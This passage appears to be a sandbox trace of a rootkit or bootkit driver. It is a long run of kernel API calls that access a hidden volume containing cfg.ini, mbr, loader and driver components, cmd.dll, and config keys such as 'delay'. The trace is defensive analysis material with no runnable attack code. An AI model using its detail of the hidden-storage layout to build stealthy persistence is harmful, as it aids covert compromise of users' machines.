AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.093] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.093] IdePortDispatch () returned 0x103 [0128.094] KeWaitForMutexObject () returned 0x0 [0128.094] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.094] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.094] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.094] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.094] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.094] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.094] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.094] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.094] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.094] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.094] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.094] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.094] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.094] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.094] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.094] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.094] KeLeaveCriticalRegion () [0128.094] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.094] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.094] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.094] KeEnterCriticalRegion () [0128.094] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.094] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.094] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.094] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.094] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.094] IdePortDispatch () returned 0x103 [0128.094] KeWaitForMutexObject () returned 0x0 [0128.095] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.095] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.095] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.095] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.095] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.095] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.095] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.095] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.095] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.095] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.095] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.095] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.095] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.095] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.095] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.095] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.095] KeLeaveCriticalRegion () [0128.095] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.095] ReleaseMutex (hMutex=0x100) returned 1 [0128.095] Sleep (dwMilliseconds=0x2bf20) [0128.104] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6f8db350, dwHighDateTime=0x1d24fa4)) [0128.104] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.104] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.104] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.104] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.104] KeEnterCriticalRegion () [0128.104] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.104] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.104] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.104] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.104] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.104] IdePortDispatch () returned 0x103 [0128.104] KeWaitForMutexObject () returned 0x0 [0128.104] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.104] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.104] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.105] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.105] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.105] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfe960 [0128.105] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.105] KeLeaveCriticalRegion () [0128.105] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.105] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.105] KeEnterCriticalRegion () [0128.105] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.105] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.105] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.105] KeLeaveCriticalRegion () [0128.105] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.105] KeEnterCriticalRegion () [0128.105] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.105] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.105] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.105] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.105] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.105] IdePortDispatch () returned 0x103 [0128.105] KeWaitForMutexObject () returned 0x0 [0128.105] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.105] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.105] KeLeaveCriticalRegion () [0128.105] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.106] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.106] KeEnterCriticalRegion () [0128.106] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.106] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cbc000 [0128.106] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.106] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.106] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.106] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.106] IdePortDispatch () returned 0x103 [0128.106] KeWaitForMutexObject () returned 0x0 [0128.106] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.106] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.106] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.106] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.106] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.106] IdePortDispatch () returned 0x103 [0128.106] KeWaitForMutexObject () returned 0x0 [0128.106] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.106] KeLeaveCriticalRegion () [0128.106] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.107] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.107] KeEnterCriticalRegion () [0128.107] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.107] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.107] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.107] KeLeaveCriticalRegion () [0128.107] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.107] KeEnterCriticalRegion () [0128.107] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.107] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.107] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfe070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.107] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.107] KeLeaveCriticalRegion () [0128.107] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.107] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.107] KeEnterCriticalRegion () [0128.107] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.108] ExFreePoolWithTag (P=0xfffffa8003bfe960, Tag=0x0) [0128.108] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.108] KeLeaveCriticalRegion () [0128.108] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.108] ReleaseMutex (hMutex=0xf0) returned 1 [0128.108] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.108] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.108] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.108] KeEnterCriticalRegion () [0128.108] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.108] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.108] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.108] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.108] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.108] IdePortDispatch () returned 0x103 [0128.108] KeWaitForMutexObject () returned 0x0 [0128.108] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.108] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.108] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.108] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.108] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.108] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003accbe0 [0128.108] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.108] KeLeaveCriticalRegion () [0128.108] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.109] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.109] KeEnterCriticalRegion () [0128.109] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.109] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.109] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.109] KeLeaveCriticalRegion () [0128.109] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.109] KeEnterCriticalRegion () [0128.109] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.109] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.109] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.109] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.109] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.109] IdePortDispatch () returned 0x103 [0128.109] KeWaitForMutexObject () returned 0x0 [0128.109] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.109] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.109] KeLeaveCriticalRegion () [0128.109] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.109] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.109] KeEnterCriticalRegion () [0128.109] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.109] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cbd000 [0128.109] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.109] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.109] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.109] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.110] IdePortDispatch () returned 0x103 [0128.110] KeWaitForMutexObject () returned 0x0 [0128.110] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.110] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.110] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.110] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.110] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.110] IdePortDispatch () returned 0x103 [0128.110] KeWaitForMutexObject () returned 0x0 [0128.110] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.110] KeLeaveCriticalRegion () [0128.110] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.111] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.111] KeEnterCriticalRegion () [0128.111] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.111] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.111] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.111] KeLeaveCriticalRegion () [0128.111] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.111] KeEnterCriticalRegion () [0128.111] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.111] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.111] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.111] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.111] KeLeaveCriticalRegion () [0128.111] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.111] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.111] KeEnterCriticalRegion () [0128.111] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.111] ExFreePoolWithTag (P=0xfffffa8003accbe0, Tag=0x0) [0128.111] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.111] KeLeaveCriticalRegion () [0128.111] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.111] ReleaseMutex (hMutex=0xf0) returned 1 [0128.111] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.112] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.112] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.112] KeEnterCriticalRegion () [0128.112] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.112] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.112] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.112] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.112] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.112] IdePortDispatch () returned 0x103 [0128.112] KeWaitForMutexObject () returned 0x0 [0128.112] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.112] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.112] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.112] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.112] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.112] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfef10 [0128.112] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.112] KeLeaveCriticalRegion () [0128.112] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.112] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.112] KeEnterCriticalRegion () [0128.112] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.112] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.112] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.112] KeLeaveCriticalRegion () [0128.112] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.113] KeEnterCriticalRegion () [0128.113] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.113] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.113] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.113] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.113] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.113] IdePortDispatch () returned 0x103 [0128.113] KeWaitForMutexObject () returned 0x0 [0128.113] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.113] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.113] KeLeaveCriticalRegion () [0128.113] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.113] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.113] KeEnterCriticalRegion () [0128.113] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.113] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cbe000 [0128.113] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.113] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.113] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.113] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.113] IdePortDispatch () returned 0x103 [0128.114] KeWaitForMutexObject () returned 0x0 [0128.114] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.114] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.114] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.114] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.114] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.114] IdePortDispatch () returned 0x103 [0128.114] KeWaitForMutexObject () returned 0x0 [0128.114] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.114] KeLeaveCriticalRegion () [0128.114] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.115] _snprintf 